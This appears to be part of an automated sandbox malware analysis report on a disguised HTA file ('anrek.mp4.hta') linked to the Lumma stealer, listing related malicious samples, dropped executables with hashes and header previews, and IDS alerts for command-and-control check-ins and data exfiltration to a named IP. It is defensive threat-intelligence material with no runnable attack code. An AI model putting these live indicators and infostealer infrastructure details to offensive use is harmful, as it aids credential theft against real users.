	https://czfc104.na1.hubspotlinks.com/Ctc/RI+113/cZFc104/VVpBhY3Y-LTWW3Cvl9B8hKRPtVVm64t5qdmRWN1f4_WP7mt9FW50l5tj6lZ3lNW8SvDYK4v65T-W5VNxKh8dLcmKW1GlXcL834zD3W5w7v_71CDbKVV4Dsjr5FnQ2PVSHlbR3pc5MwW72kzKm6WrbY7W6NJh0_7GRxDMW2K2WDT2ZPr4xW3b_gtn2bnp5xW7Hn0F58SN9mqN4_D9_QrtgD8VBy-hV2j1qrbW3N54fh8gXkqCW6JcyP11p5DmRW6d2nj72MkQXgW6hgqJx7Gc_ycW5DT-Pm451FQhW4Tph0s8GNtc-W58sq8G9dpW27W5S3wzf7rNLv_Vn6h606T2B8YN4yb6VRDg_G5W36Gvt_2lnk9qW2LykX37R4KRSW1F2tHT3jrLyjW7hSkG572MN4TW75KrBz5T-zFkVLJYW27hKs9nW3h3Pmh907wxLW2Zzdnn98hQC7W2Qnk7D31ZBJjW83tNvQ2nNht5W1HJvHm95P722W55gfDx9lT1vDW1ykGr_219m_RW5ff63S7MhCcQW4_QfK_5TQdprVlF4dm2DH-ctW6mF-BW36YwwNW99r61n6mmMhVW2v1J7Q5mVXz2W53lcRT6L4fsVN8gyZcXY0MfLW2kLwLd1TYk1wW7MzDQt4QNh6nW1bMMpS84VG-SW6F_Tym5bK06Qf6rQzB604	Get hash	malicious	Unknown	Browse	104.16.117.116
	Setup.exe	Get hash	malicious	Unknown	Browse	104.18.26.149
	Setup.exe	Get hash	malicious	Unknown	Browse	104.18.26.149
CLOUDFLARENETUS	http://www.housepricesintheuk.co.uk	Get hash	malicious	Unknown	Browse	172.64.155.119
	APLICATIVO-WINDOWS-NOTA-FISCAL.msi	Get hash	malicious	AteraAgent	Browse	104.18.18.106
	https://pwv95gp5r-xn--r3h9jdud-xn----c1a2cj-xn----p1ai.translate.goog/sIQKSvTC/b8KvU/uoTt6?ZFhObGNpNXBiblp2YkhabGJXVnVkRUJ6YjNWMGFHVnliblJ5ZFhOMExtaHpZMjVwTG01bGRBPT06c1JsOUE+&_x_tr_sch=http&_x_tr_sl=hrLWHGLm&_x_tr_tl=bTtllyql	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Agent381.msi	Get hash	malicious	Unknown	Browse	188.114.96.3
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	https://o365info.com/get-unlicensed-onedrive-accounts/	Get hash	malicious	Unknown	Browse	104.18.27.193
	AZfDGVWF68.pdf	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://czfc104.na1.hubspotlinks.com/Ctc/RI+113/cZFc104/VVpBhY3Y-LTWW3Cvl9B8hKRPtVVm64t5qdmRWN1f4_WP7mt9FW50l5tj6lZ3lNW8SvDYK4v65T-W5VNxKh8dLcmKW1GlXcL834zD3W5w7v_71CDbKVV4Dsjr5FnQ2PVSHlbR3pc5MwW72kzKm6WrbY7W6NJh0_7GRxDMW2K2WDT2ZPr4xW3b_gtn2bnp5xW7Hn0F58SN9mqN4_D9_QrtgD8VBy-hV2j1qrbW3N54fh8gXkqCW6JcyP11p5DmRW6d2nj72MkQXgW6hgqJx7Gc_ycW5DT-Pm451FQhW4Tph0s8GNtc-W58sq8G9dpW27W5S3wzf7rNLv_Vn6h606T2B8YN4yb6VRDg_G5W36Gvt_2lnk9qW2LykX37R4KRSW1F2tHT3jrLyjW7hSkG572MN4TW75KrBz5T-zFkVLJYW27hKs9nW3h3Pmh907wxLW2Zzdnn98hQC7W2Qnk7D31ZBJjW83tNvQ2nNht5W1HJvHm95P722W55gfDx9lT1vDW1ykGr_219m_RW5ff63S7MhCcQW4_QfK_5TQdprVlF4dm2DH-ctW6mF-BW36YwwNW99r61n6mmMhVW2v1J7Q5mVXz2W53lcRT6L4fsVN8gyZcXY0MfLW2kLwLd1TYk1wW7MzDQt4QNh6nW1bMMpS84VG-SW6F_Tym5bK06Qf6rQzB604	Get hash	malicious	Unknown	Browse	104.16.117.116
	Setup.exe	Get hash	malicious	Unknown	Browse	104.18.26.149
	Setup.exe	Get hash	malicious	Unknown	Browse	104.18.26.149

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Agent381.msi	Get hash	malicious	Unknown	Browse	104.21.48.1
	Setup.exe	Get hash	malicious	Unknown	Browse	104.21.48.1
	Setup.exe	Get hash	malicious	Unknown	Browse	104.21.48.1
	yxU3AgeVTi.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	Ref#66001032.exe	Get hash	malicious	AgentTesla	Browse	104.21.48.1
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	kP8EgMorTr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	ny9LDJr6pA.exe	Get hash	malicious	Quasar	Browse	104.21.48.1
a0e9f5d64349fb13191bc781f81f42e1	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.71.158 188.114.96.3
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.71.158 188.114.96.3
	un30brGAKP.exe	Get hash	malicious	LummaC	Browse	104.21.71.158 188.114.96.3
	Patcher_I5cxa9AN.exe	Get hash	malicious	LummaC	Browse	104.21.71.158 188.114.96.3
	DansMinistrie.exe	Get hash	malicious	LummaC	Browse	104.21.71.158 188.114.96.3
	CrosshairX.exe	Get hash	malicious	LummaC	Browse	104.21.71.158 188.114.96.3
	installer_1.05_36.7.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.71.158 188.114.96.3
	Installer_x64.exe	Get hash	malicious	LummaC	Browse	104.21.71.158 188.114.96.3
	Installer.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	104.21.71.158 188.114.96.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\is-B9GOU.tmp\_isetup\_isdecmp.dll	Setup.exe	Get hash	malicious	LummaC	Browse
	installer_1.05_36.7.exe	Get hash	malicious	LummaC Stealer	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse
	'Set-up.exe	Get hash	malicious	LummaC	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse
	SET_UP.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	Full_Setup.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse
	qnUFsmyxMm.exe	Get hash	malicious	LummaC	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5829
Entropy (8bit):	4.901113710259376
Encrypted:	false
SSDEEP:	96:ZCJ2Woe5H2k6Lm5emmXIGLgyg12jDs+un/iQLEYFjDaeWJ6KGcmXlQ9smpFRLcUn:Uxoe5HVsm5emdQgkjDt4iWN3yBGHVQ9v
MD5:	7827E04B3ECD71FB3BD7BEEE4CA52CE8
SHA1:	22813AF893013D1CCCACC305523301BB90FF88D9
SHA-256:	5D66D4CA13B4AF3B23357EB9BC21694E7EED4485EA8D2B8C653BEF3A8E5D0601
SHA-512:	D5F6604E49B7B31C2D1DA5E59B676C0E0F37710F4867F232DF0AA9A1EE170B399472CA1DF0BD21DF702A1B5005921D35A8E6858432B00619E65D0648C74C096B
Malicious:	false
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.381012167721272
Encrypted:	false
SSDEEP:	24:3fWSKco4KmBs4RPT6BmFoUebIlmjKcmZ9tXt/NK3R8e9rq:PWSU4y4RQmFoUeUmfmZ9tlNWR82m
MD5:	19F0BB3956264ABD06BAAB6064859654
SHA1:	02D9D143DAD52B38CF85BAA5EDFA8E5282C8F536
SHA-256:	F9EAA222F1E4CAC97B91C7C5A5AFCF9700CE841272FC8D43DDED2EF8C91B3E94
SHA-512:	72985D8BC64B56A29A30C0D7457C1035828544FD5FD027E6305813B94DE23C89985B88723C650CC17F54314C1D182B066DC2206F784A386527E9E131C03CC47B
Malicious:	false
Preview:	@...e.................................,..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.D....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8856972
Entropy (8bit):	7.960537715482043
Encrypted:	false
SSDEEP:	196608:uMonEZW6LN5TiMukr1UfDokfbn0kQv7croDi:uMoEFLT9xr+fPnbc7c
MD5:	C89C55FE25372BFBF8B9264A647C144B
SHA1:	77D03F9F9FAFAFC4D2B57428C18BFD093563682F
SHA-256:	C46D6103201008B96B237E10F2C6CA6874E6C0BEB507FE21F497578127AE8857
SHA-512:	D60535F3A12CECA7D5339513EE087DB46B2E3A6FF35D1939A7D5518CD6F4B407D7F1065F63B2AB10D21B9C0893F6F979B0AF85A0C40A5B02E9054874FDF4E044
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 51%
Joe Sandbox View:	Filename: Set-up.exe, Detection: malicious, Browse Filename: qnUFsmyxMm.exe, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.................t...p....................@.......................................@......@...................p..q....P......................4..XG...........................................................R..\....`.......................text....V.......X.................. ..`.itext..d....p.......\.............. ..`.data...88.......:...x..............@....bss....Xr...............................idata.......P......................@....didata......`......................@....edata..q....p......................@..@.tls.....................................rdata..]...........................@..@.reloc..............................@..B.rsrc...............................@..@....................................@..@................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i5eudrcw.u45.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oft1axl3.pzu.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pauv3kic.3yo.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rjqes11h.yvs.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\is-B9GOU.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Setup.exe, Detection: malicious, Browse Filename: installer_1.05_36.7.exe, Detection: malicious, Browse Filename: Set-up.exe, Detection: malicious, Browse Filename: Set-up.exe, Detection: malicious, Browse Filename: 'Set-up.exe, Detection: malicious, Browse Filename: Set-up.exe, Detection: malicious, Browse Filename: SET_UP.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Full_Setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-B9GOU.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-G0TQE.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35616
Entropy (8bit):	6.953519176025623
Encrypted:	false
SSDEEP:	768:Z4NHPfHCs6GNOpiM+RFjFyzcN23A4F+OiR9riuujF+X4UriXiRF:Zanvc+R9F4s8/RiPWuUs4UWXiv
MD5:	C6AE924AD02500284F7E4EFA11FA7CFC
SHA1:	2A7770B473B0A7DC9A331D017297FF5AF400FED8
SHA-256:	31D04C1E4BFDFA34704C142FA98F80C0A3076E4B312D6ADA57C4BE9D9C7DCF26
SHA-512:	F321E4820B39D1642FC43BF1055471A323EDCC0C4CBD3DDD5AD26A7B28C4FB9FC4E57C00AE7819A4F45A3E0BB9C7BAA0BA19C3CEEDACF38B911CDF625AA7DDAE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#~..#~..#~...q.. ~..#~..!~......"~......+~......"~......"~..Rich#~..........................PE..L....[.L...........!.....6...........E.......P......................................D=...............................P.......P..(....................L.. ?...p.......................................................P...............................text....5.......6.................. ..`.rdata.......P.......:..............@..@.data...8....`.......<..............@....reloc.......p.......J..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-G0TQE.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.720366600008286
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
MD5:	E4211D6D009757C078A9FAC7FF4F03D4
SHA1:	019CD56BA687D39D12D4B13991C9A42EA6BA03DA
SHA-256:	388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
SHA-512:	17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.530011244733973
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	F809F51E678B7F2E388F8C969EF902C8
SHA1:	DC1C645533E0FD1637BF455BA69A9481E7C4B83A
SHA-256:	8D6E5513DE230109BE2238537173352832D1AEBDC7B10FAD0E59D4882812CA81
SHA-512:	C500B40B604AD6203396FCC0243CBB50EAD544586EAB2448C2C6BCC2106DFAE3777A85C344766224F5F695FA60295880623B2A97B0AAE97DC547076FA03CD067
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Local\Temp\is-UFG0L.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\FQCBPDRKWCIGP0ODQG879LFLUZ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3367424
Entropy (8bit):	6.530011244733973
Encrypted:	false
SSDEEP:	98304:qJYVM+LtVt3P/KuG2ONG9iqLRQEd333T:7VL/tnHGYiql5l
MD5:	F809F51E678B7F2E388F8C969EF902C8
SHA1:	DC1C645533E0FD1637BF455BA69A9481E7C4B83A
SHA-256:	8D6E5513DE230109BE2238537173352832D1AEBDC7B10FAD0E59D4882812CA81
SHA-512:	C500B40B604AD6203396FCC0243CBB50EAD544586EAB2448C2C6BCC2106DFAE3777A85C344766224F5F695FA60295880623B2A97B0AAE97DC547076FA03CD067
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....f.......................................@..........................04.......3...@......@...................P,.n.....,.j:...P0.p.....................,.<............................p,.......................,......@,.(....................text............................. ..`.itext..$.......0................. ..`.data................*.............@....bss.....\|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.reloc..<.....,.......+.............@..B.rsrc...p....P0......./.............@..@.............04......`3.............@..@................

C:\Users\user\AppData\Roaming\ColorStreamLib\is-B41J4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-OMTBU.tmp\FQCBPDRKWCIGP0ODQG879LFLUZ.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	846404211
Entropy (8bit):	0.14084982000793586
Encrypted:	false
SSDEEP:
MD5:	A42E953364198E087438838FD14040E7
SHA1:	14A8F937E6F683A68859EB5AA4B61C17048FC4D9
SHA-256:	5BD35BB6F3EE49884DB46F4E52E805BBEA8333C2627EAEEA8BC05785164CD576
SHA-512:	9A29901D832EA8B94A1C15BD9777F8E4DBA55A1198989EC73E4B4A87E17FBEB248220B8F35FD700285A7C9AD37C0B5616248A8248B3EE4076A5E085247228AC6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........"w.RC..RC..RC..I..`C..I...C..[;..UC..[;..IC..RC...B..I..NC..I..{C..I..SC..I..SC..RichRC..........................PE..L....NKO.....................Zi...................@...........................s.....T.s.......@...........................................f..........................................................................................................text...!........................... ..`.rdata...1.......2..................@..@.data...x........,..................@....rsrc.....f.......f.................@..@........................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	exported SGML document, ASCII text, with very long lines (486), with CRLF, CR line terminators
Entropy (8bit):	6.596489984807862
TrID:	HyperText Markup Language (12001/1) 100.00%
File name:	anrek.mp4.hta
File size:	1'692'058 bytes
MD5:	dbf37b54acb5e3b86a3dc93ec3b7dc24
SHA1:	65100e3e23406a9f92880e202e4b006fd39f33d6
SHA256:	aa845a8fb4ab38aebe6a16a2a8f80ca4467ac0991d3eef4d8a10bdf97dedb1e9
SHA512:	0f785989935702715872e6621ecf9ad003f5d3d9eb8396a32fa5c0506f636a979e5c98c292885207124029c05c6dd88df33d2b91b028cdb5055ce9000dac7ae9
SSDEEP:	24576:g/ISwmcPODvnBj3SoGDw/ISwmcPODvnBjc/ISwmcPODvnBj1/ISwmcPODvnBjf:g/IMcAYoGc/IMcAu/IMcAn/IMcAN
TLSH:	65752389AC8F4FC90B2772BB12DC3CDC546E4BAA9EC505C5B103D765B1462528AEC7CE
File Content Preview:	hI.P$LM]5=u0?..oe('hU:bLbvF#kb{Iy0qH`WYe7I:%:h\G8@8\SCJe.yW9]x.DV`neZt1=Z,gr[_.'E3fL3~vO{o<V`E')W7?1FokLPFl7I2%)a`xD1CU#pF0lE~1^0#1`A-8KnG&4hKN/\| .?~q}Rgog64q74X7'>,5:..r!7^)5qS0A;_8...itd=w{_4{`zN6RB"h!(KOz uLD( .vk]j[S5lyu)Zj5;u8hD ?.t\|Jt .mJ5"r"..

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-06T13:56:18.711660+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49978	104.21.71.158	443	TCP
2025-01-06T13:56:19.176226+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49978	104.21.71.158	443	TCP
2025-01-06T13:56:19.176226+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49978	104.21.71.158	443	TCP
2025-01-06T13:56:19.692885+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49979	104.21.71.158	443	TCP
2025-01-06T13:56:20.168638+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49979	104.21.71.158	443	TCP
2025-01-06T13:56:20.168638+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49979	104.21.71.158	443	TCP
2025-01-06T13:56:20.856054+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49980	104.21.71.158	443	TCP
2025-01-06T13:56:22.012302+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49981	104.21.71.158	443	TCP
2025-01-06T13:56:23.201646+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49982	104.21.71.158	443	TCP
2025-01-06T13:56:24.525307+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49983	104.21.71.158	443	TCP
2025-01-06T13:56:28.921575+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49984	104.21.71.158	443	TCP
2025-01-06T13:56:28.939162+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49984	104.21.71.158	443	TCP
2025-01-06T13:56:28.939162+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49984	104.21.71.158	443	TCP
2025-01-06T13:56:31.042003+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49985	104.21.71.158	443	TCP
2025-01-06T13:56:31.382135+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49985	104.21.71.158	443	TCP
